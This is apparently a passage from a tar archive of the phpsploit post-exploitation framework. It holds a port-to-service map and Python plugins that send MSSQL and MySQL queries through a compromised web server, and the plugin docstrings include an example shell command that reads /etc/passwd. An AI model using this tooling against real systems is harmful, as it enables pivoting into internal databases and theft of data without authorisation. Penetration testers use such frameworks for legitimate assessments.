"7316": "swx", "7317": "swx", "7318": "swx", "7319": "swx", "7320": "swx", "7321": "swx", "7322": "swx", "7323": "swx", "7324": "swx", "7325": "swx", "7326": "swx", "7327": "swx", "7328": "swx", "7329": "swx", "7330": "swx", "7331": "swx", "7332": "swx", "7333": "swx", "7334": "swx", "7335": "swx", "7336": "swx", "7337": "swx", "7338": "swx", "7339": "swx", "7340": "swx", "7341": "swx", "7342": "swx", "7343": "swx", "7344": "swx", "7345": "swx", "7346": "swx", "7347": "swx", "7348": "swx", "7349": "swx", "7350": "swx", "7351": "swx", "7352": "swx", "7353": "swx", "7354": "swx", "7355": "swx", "7356": "swx", "7357": "swx", "7358": "swx", "7359": "swx", "7365": "lcm-server", "7391": "mindfilesys", "7392": "mrssrendezvous", "7393": "nfoldman", "7394": "fse", "3963": "thrp", "7397": "hexarc", "7400": "rtps-discovery", "7401": "rtps-dd-ut", "7402": "rtps-dd-mt", "7410": "ionixnetmon", "7411": "daqstream", "6697": "ircs-u", "7421": "mtportmon", "7426": "pmdmgr", "7427": "oveadmgr", "7428": "ovladmgr", "7429": "opi-sock", "7430": "xmpv7", "7431": "pmd", "7437": "faximum", "7443": "oracleas-https", "7471": "sttunnel", "7473": "rise", "7474": "neo4j", "7491": "telops-lmd", "7500": "silhouette", "7501": "ovbus", "7508": "adcp", "7509": "acplt", "7510": "ovhpas", "6051": "x11", "7542": "saratoga", "7543": "atul", "7544": "nta-ds", "7545": "nta-us", "7546": "cfs", "7547": "cwmp", "7548": "tidp", "7549": "nls-tl", "7550": "cloudsignaling", "7551": "controlone-con", "7560": "sncp", "7563": "cfw", "7566": "vsi-omega", "7569": "dell-eql-asm", "7570": "aries-kfinder", "7574": "coherence-disc", "7588": "sun-lm", "7606": "mipi-debug", "3999": "nvcnet", "24000": "med-ltp", "24001": "med-fsp-rx", "24002": "med-fsp-tx", "24003": "med-supp", "24004": "med-ovw", "24005": "med-ci", "24006": "med-net-svc", "7624": "indi", "7626": "simco", "7627": "soap-http", "7628": "zen-pawn", "7629": "xdas", "7630": "hawk", "7631": "tesla-sys-msg", "7633": "pmdfmgt", "40404": "sptx", "800": "mdbs-daemon", "7648": "cuseeme", "7672": "imqstomp", "7673": "imqstomps", "7674": "imqtunnels", "7675": "imqtunnel", "7676": "imqbrokerd", "7677": "sun-user-https", "7680": "pando-pub", "7683": "dmt", "7689": "collaber", "7697": "klio", "7700": "em7-secom", "7707": "sync-em7", "7708": "scinet", "7720": "medimageportal", "7724": "nsdeepfreezectl", "7725": "nitrogen", "7726": "freezexservice", "7727": "trident-data", "7728": "osvr", "7734": "smip", "7738": "aiagent", "7741": "scriptview", "7742": "msss", "7743": "sstp-1", "7744": "raqmon-pdu", "7747": "prgp", "7775": "inetfs", "7777": "cbt", "7778": "interwise", "7779": "vstat", "7781": "accu-lmgr", "7784": "s-bfd", "7786": "minivend", "7787": "popup-reminders", "7789": "office-tools", "7794": "q3ade", "7797": "pnet-conn", "7798": "pnet-enc", "7799": "altbsdp", "7800": "asr", "7801": "ssp-client", "7802": "vns-tp", "7810": "rbt-wanopt", "7845": "apc-7845", "7846": "apc-7846", "7847": "csoauth", "24242": "filesphere", "24249": "vista-4gl", "7869": "mobileanalyzer", "7870": "rbt-smc", "7871": "mdm", "7872": "mipv6tls", "7878": "owms", "7880": "pss", "7887": "ubroker", "7900": "mevent", "7901": "tnos-sp", "7902": "tnos-dp", "7903": "tnos-dps", "7913": "qo-secure", "7932": "t2-drm", "7933": "t2-brm", "24321": "ild", "24322": "hid", "7962": "generalsync", "7967": "supercell", "7979": "micromuse-ncps", "7980": "quest-vista", "7981": "sossd-collect", "7982": "sossd-disc", "7997": "pushns", "7998": "usicontentpush", "7999": "irdmi2", "8000": "irdmi", "8001": "vcom-tunnel", "24386": "intel-rci", "8003": "mcreport", "8005": "mxi", "8008": "http-alt", "8019": "qbdb", "8020": "intu-ec-svcdisc", "8021": "intu-ec-client", "8022": "oa-system", "8025": "ca-audit-da", "8026": "ca-audit-ds", "8032": "pro-ed", "8033": "mindprint", "8034": "vantronix-mgmt", "8040": "ampify", "8042": "fs-agent", "8043": "fs-server", "8044": "fs-mgmt", "8051": "rocrail", "8052": "senomix01", "8053": "senomix02", "8054": "senomix03", "8055": "senomix04", "8056": "senomix05", "8057": "senomix06", "8058": "senomix07", "8059": "senomix08", "8060": "aero", "8066": "toad-bi-appsrvr", "8067": "infi-async", "17729": "ea", "40841": "cscp", "40842": "csccredir", "40843": "csccfirewall", "8080": "http-alt", "24465": "tonidods", "8082": "us-cli", "8083": "us-srv", "40853": "ortec-disc", "8086": "d-s-n", "8087": "simplifymedia", "8088": "radan-http", "8091": "jamlink", "8097": "sac", "8100": "xprint-server", "8101": "ldoms-migr", "8102": "kz-migr", "8115": "mtl8000-matrix", "8116": "cp-cluster", "8117": "purityrpc", "8118": "privoxy", "8121": "apollo-data", "8122": "apollo-admin", "8128": "paycash-online", "8129": "paycash-wbp", "8130": "indigo-vrmi", "8131": "indigo-vbcp", "8132": "dbabble", "8140": "puppet", "8148": "isdd", "8149": "eor-game", "8153": "quantastor", "8160": "patrol", "8161": "patrol-snmp", "8162": "lpar2rrd", "24554": "binkp", "8181": "intermapper", "8182": "vmware-fdm", "8183": "proremote", "8184": "itach", "8190": "gcp-rphy", "8191": "limnerpressure", "8192": "spytechphone", "24577": "bilobit-update", "8194": "blp1", "8195": "blp2", "36865": "kastenxpipe", "8200": "trivnet1", "8201": "trivnet2", "8202": "aesop", "8204": "lm-perfworks", "8205": "lm-instmgr", "8206": "lm-dta", "8207": "lm-sserver", "8208": "lm-webwatcher", "1370": "us-gv", "1371": "fc-cli", "8230": "rexecj", "8231": "hncp-udp-port", "8232": "hncp-dtls-port", "1372": "fc-ser", "8243": "synapse-nhttps", "33334": "speedtrace-disc", "8276": "pando-sec", "8280": "synapse-nhttp", "24666": "sdtvwcam", "24676": "canditv", "24677": "flashfiler", "24678": "proactivate", "24680": "tcc-http", "8300": "tmi", "8301": "amberon", "8313": "hub-open-net", "8320": "tnp-discover", "8321": "tnp", "8322": "garmin-marine", "41111": "fs-qos", "8351": "server-find", "41121": "tentacle", "17777": "sw-orion", "24754": "cslg", "8376": "cruise-enum", "8377": "cruise-swroute", "8378": "cruise-config", "8379": "cruise-diags", "8380": "cruise-update", "8383": "m2mservices", "8384": "marathontp", "8400": "cvd", "8401": "sabarsd", "8402": "abarsd", "8403": "admind", "8404": "svcloud", "8405": "svbackup", "8415": "dlpx-sp", "8416": "espeech", "8417": "espeech-rtp", "9876": "sd", "8442": "cybro-a-bus", "8443": "pcsync-https", "8444": "pcsync-http", "8445": "copy-disc", "8450": "npmp", "8457": "nexentamv", "41230": "z-wave-s", "24850": "assoc-disc", "8470": "cisco-avp", "8471": "pim-port", "8472": "otv", "8473": "vp2p", "282": "cableport-ax", "8500": "fmtp", "8501": "cmtp-mgt", "8502": "ftnmtp", "8503": "lsp-self-ping", "24922": "find", "9616": "erunbook-agent", "8554": "rtsp-alt", "8555": "d-fence", "6888": "muse", "8567": "dof-tunnel", "5741": "ida-discover1", "3014": "broker-service", "8609": "canon-cpp-disc", "8610": "canon-mfnp", "8611": "canon-bjnp1", "8612": "canon-bjnp2", "8613": "canon-bjnp3", "8614": "canon-bjnp4", "8615": "imink", "25000": "icl-twobase1", "25001": "icl-twobase2", "25002": "icl-twobase3", "25003": "icl-twobase4", "25004": "icl-twobase5", "25005": "icl-twobase6", "25006": "icl-twobase7", "25007": "icl-twobase8", "25008": "icl-twobase9", "25009": "icl-twobase10", "666": "mdqs", "5744": "watchdoc", "8666": "monetra-admin", "8675": "msi-cps-rm-disc", "8686": "sun-as-jmxrmi", "8688": "openremote-ctrl", "8699": "vnyx", "8711": "nvc", "9878": "kca-service", "8474": "noteshare", "8732": "dtp-net", "8733": "ibus", "8750": "dey-keyneg", "8763": "mc-appserver", "8764": "openqueue", "8765": "ultraseek-http", "8766": "amcs", "8770": "dpap", "8778": "uec", "8786": "msgclnt", "8787": "msgsrvr", "8793": "acd-pm", "8800": "sunwebadmin", "8804": "truecm", "20480": "emwavemsg", "9667": "xmms2", "8873": "dxspider", "8880": "cddbp-alt", "8881": "galaxy4d", "8883": "secure-mqtt", "1481": "airs", "8888": "ddi-udp-1", "8889": "ddi-udp-2", "8890": "ddi-udp-3", "8891": "ddi-udp-4", "8892": "ddi-udp-5", "8893": "ddi-udp-6", "8894": "ddi-udp-7", "8899": "ospf-lite", "8900": "jmb-cds1", "8901": "jmb-cds2", "8910": "manyone-http", "8911": "manyone-xml", "8912": "wcbackup", "8913": "dragonfly", "9026": "swa-4", "8937": "twds", "8953": "ub-dns-control", "8954": "cumulus-admin", "8980": "nod-provider", "8981": "nod-client", "8989": "sunwebadmins", "8990": "http-wmap", "8991": "https-wmap", "8997": "oracle-ms-ens", "8998": "canto-roboflow", "8999": "bctp", "9000": "cslistener", "9001": "etlservicemgr", "9002": "dynamid", "9005": "golem", "9007": "ogs-client", "9008": "ogs-server", "9009": "pichat", "9010": "sdr", "9020": "tambora", "9021": "panagolin-ident", "9022": "paragent", "9023": "swa-1", "9024": "swa-2", "9025": "swa-3", "41794": "crestron-cip", "41795": "crestron-ctp", "41796": "crestron-cips", "41797": "crestron-ctps", "9050": "versiera", "9051": "fio-cmgmt", "9080": "glrpc", "9082": "lcs-ap", "9083": "emc-pp-mgmtsvc", "9084": "aurora", "9085": "ibm-rsyscon", "9086": "net2display", "25471": "rna", "9088": "sqlexec", "9089": "sqlexec-ssl", "9090": "websm", "9091": "xmltec-xmlmail", "9092": "XmlIpcRegSvc", "9093": "copycat", "9100": "pdl-datastream", "9101": "bacula-dir", "9102": "bacula-fd", "9103": "bacula-sd", "9104": "peerwire", "9105": "xadmin", "9106": "astergate-disc", "9107": "astergatefax", "9119": "mxit", "9122": "grcmp", "9123": "grcp", "9131": "dddp", "9160": "apani1", "9161": "apani2", "9162": "apani3", "9163": "apani4", "9164": "apani5", "9191": "sun-as-jpda", "25576": "sauterdongle", "9200": "wap-wsp", "9201": "wap-wsp-wtp", "9202": "wap-wsp-s", "9203": "wap-wsp-wtp-s", "9204": "wap-vcard", "9205": "wap-vcal", "9206": "wap-vcard-s", "9207": "wap-vcal-s", "9208": "rjcdb-vcards", "9209": "almobile-system", "9210": "oma-mlp", "9211": "oma-mlp-s", "9212": "serverviewdbms", "9213": "serverstart", "9214": "ipdcesgbs", "9215": "insis", "9216": "acme", "9217": "fsc-port", "25604": "idtp", "9222": "teamcoherence", "607": "nqs", "9255": "mon", "9277": "traingpsdata", "9278": "pegasus", "9279": "pegasus-ctl", "9280": "pgps", "9281": "swtp-port1", "9282": "swtp-port2", "9283": "callwaveiam", "9284": "visd", "9285": "n2h2server", "9286": "n2receive", "9287": "cumulus", "9292": "armtechdaemon", "9293": "storview", "9294": "armcenterhttp", "9295": "armcenterhttps", "9300": "vrace", "9306": "sphinxql", "9312": "sphinxapi", "9318": "secure-ts", "9321": "guibase", "4286": "vrml-multi-use", "23402": "novar-global", "9343": "mpidcmgr", "9344": "mphlpdmc", "9345": "rancher", "9346": "ctechlicensing", "9374": "fjdmimgr", "9380": "boxp", "9387": "d2dconfig", "9388": "d2ddatatrans", "9389": "adws", "9390": "otp", "9396": "fjinvmgr", "9397": "mpidcagt", "9400": "sec-t4net-srv", "9401": "sec-t4net-clt", "9402": "sec-pc2fax-srv", "608": "sift-uft", "25793": "vocaltec-hos", "9418": "git", "9443": "tungsten-https", "9444": "wso2esb-console", "9445": "mindarray-ca", "9450": "sntlkeyssrvr", "19410": "hp-sco", "48004": "nimbusdb", "9500": "ismserver", "19411": "hp-sca", "25900": "tasp-net", "25901": "niobserver", "25902": "nilinkanalyst", "25903": "niprobe", "9522": "sma-spw", "19412": "hp-sessmon", "9535": "mngsuite", "9536": "laes-bf", "9555": "trispen-sra", "609": "npmp-trap", "25954": "bf-game", "25955": "bf-master", "9592": "ldgateway", "9593": "cba8", "9594": "msgsys", "9595": "pds", "9596": "mercury-disc", "9597": "pd-admin", "9598": "vscp", "9599": "robix", "9600": "micromuse-ncpw", "9612": "streamcomm-ds", "9614": "iadt-tls", "26000": "quake", "9617": "erunbook-server", "9618": "condor", "9628": "odbcpathway", "9629": "uniport", "9630": "peoctlr", "9631": "peocoll", "9632": "mc-comm", "9640": "pqsflows", "1610": "taurus-wh", "9666": "zoomcp", "1611": "ill", "9668": "tec5-sdctp", "7073": "martalk", "9694": "client-wakeup", "9695": "ccnx", "18000": "biimenu", "9700": "board-roar", "610": "npmp-local", "42508": "candp", "42509": "candrp", "42510": "caerpc", "9747": "l5nas-parchan", "26133": "scscp", "9750": "board-voip", "9753": "rasadv", "9762": "tungsten-http", "9800": "davsrc", "9801": "sstp-2", "9802": "davsrcs", "38800": "sruth", "26208": "wnn6-ds", "26257": "cockroach", "9875": "sapv1", "26260": "ezproxy", "26261": "ezmeeting", "26262": "k3software-svr", "26263": "k3software-cli", "9888": "cyborg-systems", "9889": "gt-proxy", "9898": "monkeycom", "9899": "sctp-tunneling", "9900": "iua", "9901": "enrp-sctp", "9902": "enrp-sctp-tls", "9903": "multicast-ping", "9909": "domaintime", "9911": "sype-transport", "9925": "xybrid-cloud", "9950": "apc-9950", "9951": "apc-9951", "9952": "apc-9952", "9953": "acis", "9954": "hinp", "9955": "alljoyn-stm", "9956": "alljoyn", "9966": "odnsp", "9978": "xybrid-rt", "9987": "dsm-scm-target", "9988": "nsesrvr", "9990": "osm-appsrvr", "9991": "osm-oev", "9992": "palace-1", "9993": "palace-2", "9994": "palace-3", "9995": "palace-4", "9996": "palace-5", "9997": "palace-6", "9998": "distinct32", "9999": "distinct", "10000": "ndmp", "10001": "scp-config", "10002": "documentum", "10003": "documentum-s", "10004": "emcrmirccd", "10005": "emcrmird", "10006": "netapp-sync", "10007": "mvs-capacity", "10008": "octopus", "10009": "swdtp-sv", "10010": "rxapi", "10023": "cefd-vmp", "10050": "zabbix-agent", "10051": "zabbix-trapper", "10055": "qptlmd", "10080": "amanda", "10081": "famdc", "10100": "itap-ddtp", "10101": "ezmeeting-2", "10102": "ezproxy-2", "10103": "ezrelay", "10104": "swdtp", "26489": "exonet", "10107": "bctp-server", "10110": "nmea-0183", "10111": "nmea-onenet", "10113": "netiq-endpoint", "10114": "netiq-qcheck", "10115": "netiq-endpt", "10116": "netiq-voipa", "10117": "iqrm", "1687": "nsjtp-ctrl", "10125": "cimple", "10128": "bmc-perf-sd", "10129": "bmc-gms", "10160": "qb-db-server", "10161": "snmptls", "10162": "snmptls-trap", "10200": "trisoap", "10201": "rsms", "7162": "caistoragemgr", "43000": "recvr-rc-disc", "10252": "apollo-relay", "10253": "eapol-relay", "10260": "axis-wimp-port", "10288": "blocks", "7181": "janus-disc", "1720": "h323hostcall", "43188": "reachout", "43189": "ndm-agent-port", "43190": "ip-provision", "43191": "noit-transport", "10439": "bngsync", "43210": "shaperai-disc", "10500": "hip-nat-t", "1752": "lofr-lm", "10540": "MOS-lower", "10541": "MOS-upper", "10542": "MOS-aux", "10543": "MOS-soap", "10544": "MOS-soap-opt", "10548": "serverdocs", "27000": "flex-lm", "27001": "flex-lm", "27002": "flex-lm", "27003": "flex-lm", "27004": "flex-lm", "27005": "flex-lm", "27006": "flex-lm", "27007": "flex-lm", "27008": "flex-lm", "27009": "flex-lm", "10631": "printopia", "7": "echo", "355": "datex-asn", "43439": "eq3-update", "43440": "ew-mgmt", "43441": "ciscocsdb", "1797": "uma", "1798": "etp", "1799": "netrisk", "10800": "gap", "1800": "ansys-lm", "10805": "lpdg", "18185": "opsec-omi", "10809": "nbd", "10810": "nmc-disc", "1802": "concomp1", "1803": "hp-hcip-gwy", "10860": "helix", "10880": "bveapi", "10933": "octopustentacle", "27345": "imagepump", "10990": "rmiaux", "11000": "irisa", "11001": "metasys", "27442": "jesmsjc", "11095": "weave", "11103": "origo-sync", "11104": "netapp-icmgmt", "11105": "netapp-icdata", "11106": "sgi-lk", "11108": "myq-termlink", "11109": "sgi-dmfmgr", "11110": "sgi-soap", "11111": "vce", "11112": "dicom", "27504": "kopek-httphead", "18241": "checkpoint-rtm", "18242": "iclid", "18243": "clusterxl", "11161": "suncacao-snmp", "11162": "suncacao-jmxmp", "11163": "suncacao-rmi", "11164": "suncacao-csa", "11165": "suncacao-websvc", "11171": "snss", "11172": "oemcacao-jmxmp", "11173": "t5-straton", "11174": "oemcacao-rmi", "11175": "oemcacao-websvc", "6621": "kftp", "11201": "smsqp", "11202": "dcsl-backup", "11208": "wifree", "11211": "memcache", "18262": "gv-pf", "11319": "imip", "11320": "imip-channels", "11321": "arena-server", "6379": "redis", "44123": "z-wave-tunnel", "11367": "atm-uhas", "11371": "hkp", "27782": "ars-vista", "11430": "lsdp", "26486": "exoline-udp", "26487": "exoconfig", "11489": "asgcypresstcps", "27876": "astrolink", "44321": "pmcd", "44322": "pmcdproxy", "44323": "pmwebapi", "11600": "tempest-port", "7395": "winqedit", "27999": "tw-auth-key", "28000": "nxlmd", "28001": "pqsp", "11623": "emc-xsw-dconfig", "32811": "retp", "44444": "cognex-dataman", "11720": "h323callsigalt", "11723": "emc-xsw-dcache", "28119": "a27-ran-ran", "3664": "ups-engine", "11751": "intrepid-ssl", "44544": "domiq", "44553": "rbr-debug", "11796": "lanschool-mpt", "28200": "voxelstorm", "44600": "asihpi", "28240": "siemensgsm", "11876": "xoraya", "11877": "x2e-disc", "11967": "sysinfo-sp", "11997": "wmereceiving", "11998": "wmedistribution", "11999": "wmereporting", "12000": "entextxid", "12001": "entextnetwk", "12002": "entexthigh", "12003": "entextmed", "12004": "entextlow", "12005": "dbisamserver1", "12006": "dbisamserver2", "12007": "accuracer", "12008": "accuracer-dbms", "12009": "ghvpn", "12010": "edbsrvr", "12012": "vipera", "12013": "vipera-ssl", "44818": "EtherNet/IP-2", "12109": "rets-ssl", "12121": "nupaper-ss", "44900": "m3da-disc", "12168": "cawas", "12172": "hivep", "28589": "bosswave", "45000": "asmp-mon", "45001": "asmps", "45002": "rs-status", "45045": "synctest", "45054": "invision-ag", "7511": "pafec-lm", "12300": "linogridengine", "12302": "rads", "12321": "warehouse-sss", "12322": "warehouse", "12345": "italk", "18463": "ac-cluster", "8600": "asterix", "29118": "sgsap", "12753": "tsaf", "10321": "cosir", "29167": "otmp", "29168": "sbcap", "29169": "iuhsctpassoc", "12865": "netperf", "45678": "eba", "45824": "dai-shell", "45825": "qdb2service", "13160": "i-zipqd", "45966": "ssr-servermgr", "13216": "bcslogc", "13217": "rs-pias", "13218": "emc-vcas-udp", "13223": "powwow-client", "13224": "powwow-server", "34980": "ethercat", "19539": "fxuptp", "19540": "sxuptp", "35000": "heathview", "35001": "rt-viewer", "13400": "doip-disc", "35002": "rt-sound", "19541": "jcp", "35003": "rt-devicemapper", "35004": "rt-classmanager", "35005": "rt-labtracker", "35006": "rt-helper", "2250": "remote-collab", "2251": "dif-port", "46336": "inedo", "29999": "bingbang", "30000": "ndmps", "30001": "pago-services1", "30002": "pago-services2", "30003": "amicon-fpsu-ra", "30004": "amicon-fpsu-s", "30100": "rwp", "13720": "bprd", "13721": "bpdbm", "13722": "bpjava-msvc", "13724": "vnetd", "13782": "bpcd", "13783": "vopied", "13785": "nbdb", "13786": "nomdb", "459": "ampr-rcmd", "13818": "dsmcc-config", "13819": "dsmcc-session", "13820": "dsmcc-passthru", "13821": "dsmcc-download", "13822": "dsmcc-ccp", "13823": "bmdss", "30260": "kingdomsonline", "13894": "ucontrol", "13929": "dta-systems", "13930": "medevolve", "14000": "scotty-ft", "14001": "sua", "14002": "scotty-disc", "14033": "sage-best-com1", "14034": "sage-best-com2", "15999": "programmar", "14141": "vcs-app", "14142": "icpp", "14143": "icpps", "14145": "gcm-app", "14149": "vrts-tdd", "14150": "vcscmd", "14154": "vad", "46998": "spremotetablet", "46999": "mediabox", "47000": "mbus", "47001": "winrm", "14250": "cps", "18769": "ique", "477": "ss7ns", "47100": "jvl-mactalk", "14414": "ca-web-update", "96": "dixie", "30832": "samsung-disc", "8665": "monetra", "3756": "canon-capt", "2431": "venus-se", "30999": "ovobs", "31020": "autotrac-acp", "31029": "yawn", "5553": "sgi-eventmond", "47557": "dbbrowse", "8282": "libelle-disc", "47624": "directplaysrvr", "14936": "hde-lcesrvr-1", "14937": "hde-lcesrvr-2", "2497": "quaddb", "15000": "hydap", "15002": "onep-tls", "5232": "csedaemon", "5233": "enfs", "31400": "pace-licensed", "5234": "eenet", "2504": "wlbs", "31416": "xqosd", "47806": "ap", "47808": "bacnet", "47809": "presonus-ucnet", "31457": "tetrinet", "15118": "v2g-secc", "48000": "nimcontroller", "48001": "nimspooler", "48002": "nimhub", "48003": "nimgtw", "31620": "lm-mon", "48005": "nimbusdbctrl", "5963": "indy", "8002": "teradataordbms", "48049": "3gpp-cbsp", "48050": "weandsf", "31685": "dsx-monitor", "3783": "bim-pem", "15345": "xpilot", "48128": "isnetserv", "48129": "blp5", "15363": "3link", "31765": "gamesmith-port", "5301": "hacl-gs", "5307": "sco-aip", "5313": "rrdp", "516": "videotex", "35354": "kitim", "35355": "altova-lm-disc", "35356": "guttersnex", "35357": "openstack-id", "15555": "cisco-snat", "31948": "iceedcp-tx", "31949": "iceedcp-rx", "32034": "iracinghelper", "15660": "bex-xr", "5343": "kfserver", "8074": "gadugadu", "2616": "appswitch-emp", "8081": "sunproxyadmin", "2623": "lmdp", "15740": "ptp", "48556": "com-bardac-dw", "2636": "solve", "48619": "iqobject", "32249": "t1distproc60", "48653": "robotraconteur", "529": "irc-serv", "6107": "etc-control", "15998": "2ping", "5397": "stresstester", "16000": "fmsas", "16001": "fmsascon", "16002": "gsms", "16003": "alfin", "32400": "plex", "16020": "jwpc", "16021": "jwpc-bin", "43": "nicname", "32483": "apm-link", "5416": "sns-gateway", "16161": "sun-sea-port", "16162": "solaris-audit", "36001": "allpeers", "5433": "pyrrho", "5434": "sgi-arrayd", "5435": "sceanics", "49000": "matahari", "32635": "sec-ntb-clnt", "32636": "DMExpress", "16309": "etb4j", "16310": "pduncs", "16311": "pdefmns", "8292": "blp3", "16360": "netserialext1", "16361": "netserialext2", "16367": "netserialext3", "16368": "netserialext4", "32767": "filenet-powsrm", "21845": "webphone" }phpsploit-3.2+git20240329.aea961d/plugins/network/portscan/scanner.php000066400000000000000000000006711460155776400253260ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/sql/000077500000000000000000000000001460155776400204355ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/sql/mssql/000077500000000000000000000000001460155776400215745ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/sql/mssql/connect.php000066400000000000000000000005461460155776400237430ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/sql/mssql/payload.php000066400000000000000000000021721460155776400237400ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/sql/mssql/plugin.py000066400000000000000000000150641460155776400234520ustar00rootroot00000000000000r"""A client for Microsoft SQL Server SYNOPSIS: mssql connect @ [-p ] mssql show [databases|tables] mssql use mssql "" DESCRIPTION: This plugin handles "Microsoft SQL Server" interactions through a mysql-like client approach. - The 'connect' argument establishes a connection with given credentials, which are then stored on `MSSQL_CRED` environment variable in order to be persistent between plugin calls in current session. - The 'use' argument can be used to choose a default database (stored in MSSQL_BASE environment variable). - Any other case assumes that the arguments are an SQL command, and result is returned. - A command that ends with '\G' will use tabular display mode. WARNING: Considering the PhpSploit's input parser, commands which contain quotes, semicolons, and other chars that could be interpreted by the framework SHALL be enquoted to be interpreted as a single argument. For example: > run echo 'foo bar' > /tmp/foobar; cat /etc/passwd In this case, quotes and semicolons will be interpreted by the framework, so the correct syntax is: > run "echo 'foo bar' > /tmp/foobar; cat /etc/passwd" EXAMPLES: > mssql connect SA@10.0.0.100 -p god123 - Connect to 10.0.0.100 as "SA" with password "god123" > mssql show databases - Print the databases list (mysql client like) > mssql use master - Use the "master" database as default one > mssql SELECT * FROM sysusers - Print the whole "sysusers" table from "master" > mssql "SELECT * FROM sysusers\\G" - Same as above, using tabular format (mysql client like) ENVIRONMENT: * MSSQL_CRED mssql's connection credentials * MSSQL_BASE mssql's default database to use AUTHOR: nil0x42 """ import sys import time from api import plugin from api import server from api import environ def load_credentials(raw_creds): """Return a dictionnary of credentials elements from raw format. """ result = {} result['USER'] = raw_creds[:raw_creds.find('@')] result['HOST'] = raw_creds[raw_creds.find('@')+1:] result['PASS'] = '' if '*' in raw_creds: result['HOST'] = raw_creds[raw_creds.find('@')+1:raw_creds.find('*')] result['PASS'] = raw_creds[raw_creds.find('*')+1:] return result def sql_str_repr(row): return "NULL" if row is None else str(row) if len(plugin.argv) < 2: sys.exit(plugin.help) # `mssql connect @ [-p ]` # Connect to a mssql server with credentials. # This comment creates or updates the MSSQL_CRED # environment variable. if plugin.argv[1].lower() == "connect": if len(plugin.argv) < 3: sys.exit(plugin.help) if plugin.argv[2].count('@') != 1: sys.exit("[-] Invalid connection credentials") raw_creds = plugin.argv[2] if len(plugin.argv) > 3: if plugin.argv[3] == "-p": password = ' '.join(plugin.argv[4:]) raw_creds += '*' + password creds = load_credentials(raw_creds) payload = server.payload.Payload("connect.php") payload.update(creds) payload.send() if "MSSQL_CRED" not in environ: environ["MSSQL_CRED"] = "" if raw_creds != environ["MSSQL_CRED"]: if "MSSQL_BASE" in environ: del environ["MSSQL_BASE"] environ["MSSQL_CRED"] = raw_creds msg = ("[*] SUCCESS: Access granted for user" " '%s'@'%s' (using password: %s)") msg %= creds["USER"], creds["HOST"], ['YES', 'NO'][not creds['PASS']] print(msg) sys.exit(0) # check and load MSSQL_CRED environment variable if "MSSQL_CRED" not in environ: sys.exit("[-] Not connected to any server, use `mssql connect` before") creds = load_credentials(environ["MSSQL_CRED"]) # format last mssql token correctly plugin.argv[-1] = plugin.argv[-1].strip().rstrip(';').strip() if plugin.argv[-1] == "": del plugin.argv[-1] # `mssql use ` # Select a default database for further mssql queries. if plugin.argv[1].lower() == "use": if len(plugin.argv) != 3: sys.exit(plugin.help) # prepare and send payload payload = server.payload.Payload("setdb.php") payload.update(creds) payload["BASE"] = plugin.argv[2] payload.send() # update MSSQL_BASE and exit properly environ["MSSQL_BASE"] = plugin.argv[2] print("[*] Database changed") sys.exit(0) # `mssql ""` # Run an SQL command. sql_query = " ".join(plugin.argv[1:]).rstrip(';').strip() if sql_query.endswith('\\G'): sql_query = sql_query[:-2].strip() display_mode = "line" else: display_mode = "column" # prepare and send payload payload = server.payload.Payload("payload.php") payload.update(creds) payload["QUERY"] = sql_query if "MSSQL_BASE" in environ: payload["BASE"] = environ["MSSQL_BASE"] start_time = time.time() response = payload.send() end_time = time.time() elapsed_time = "(%s sec)" % str(round(end_time - start_time, 2)) query_type = response[0] affected_rows = response[1] plural = '' if affected_rows == 1 else 's' # Query type: SET if query_type == "SET": msg = "[*] Query OK, %d row%s affected %s" print(msg % (affected_rows, plural, elapsed_time)) sys.exit(0) # Query type: GET if affected_rows == 0: sys.exit("[*] Empty set %s" % elapsed_time) fields = response[2][0] rows = response[2][1:] if display_mode == "line": field_space = len(max(fields, key=len)) fields = [(' ' * (field_space - len(x))) + x for x in fields] header = "*************************** %d. row ***************************" i = 1 for row in rows: print(header % i) j = 0 for field in fields: print("%s: %s" % (field, sql_str_repr(row[j]))) j += 1 i += 1 elif display_mode == "column": columns = [[str(field)] for field in fields] for row in rows: for i in range(len(fields)): columns[i].append(sql_str_repr(row[i])) cols_len = [len(max(column, key=len)) for column in columns] delimiter = '+-' + ('-+-'.join(['-' * i for i in cols_len])) + '-+' for row_no in range(len(columns[0])): row = [] for field_no in range(len(fields)): value = columns[field_no][row_no] fill = ' ' * (cols_len[field_no] - len(columns[field_no][row_no])) row.append(value + fill) if row_no < 2: print(delimiter) print('| ' + (' | '.join(row)) + ' |') print(delimiter) msg = "%s row%s in set %s" print(msg % (affected_rows, plural, elapsed_time)) sys.exit(0) phpsploit-3.2+git20240329.aea961d/plugins/sql/mssql/setdb.php000066400000000000000000000010111460155776400233770ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/sql/mysql/000077500000000000000000000000001460155776400216025ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/sql/mysql/connect.php000066400000000000000000000006331460155776400237460ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/sql/mysql/payload.php000066400000000000000000000023721460155776400237500ustar00rootroot00000000000000 phpsploit-3.2+git20240329.aea961d/plugins/sql/mysql/plugin.py000066400000000000000000000150341460155776400234550ustar00rootroot00000000000000r"""A client for MySQL databases SYNOPSIS: mysql connect @ [-p ] mysql show [databases|tables] mysql use mysql "" DESCRIPTION: Run MySQL commands through phpsploit. - The 'connect' argument establishes a connection with given credentials, which are then stored on `MYSQL_CRED` environment variable in order to be persistent between plugin calls in current session. - The 'use' argument can be used to choose a default database (stored in MYSQL_BASE environment variable). - Any other case assumes that the arguments are an SQL command, and result is returned. - A command that ends with '\G' will use tabular display mode. WARNING: Considering the PhpSploit's input parser, commands which contain quotes, semicolons, and other chars that could be interpreted by the framework SHALL be enquoted to be interpreted as a single argument. For example: > run echo 'foo bar' > /tmp/foobar; cat /etc/passwd In this case, quotes and semicolons will be interpreted by the framework, so the correct syntax is: > run "echo 'foo bar' > /tmp/foobar; cat /etc/passwd" EXAMPLES: > mysql connect root@10.0.0.100 -p god123 - Connect to 10.0.0.100 as "root" with password "god123" > mysql show databases - Print the databases list (mysql client like) > mysql use information_schema - Use the "information_schema" database as default one > mysql SELECT * FROM schemata - Print the whole schemata table from information_schema > mysql "SELECT * FROM schemata\\G" - Same as above, using tabular format (mysql client like) ENVIRONMENT: * MYSQL_CRED MySQL's connection credentials * 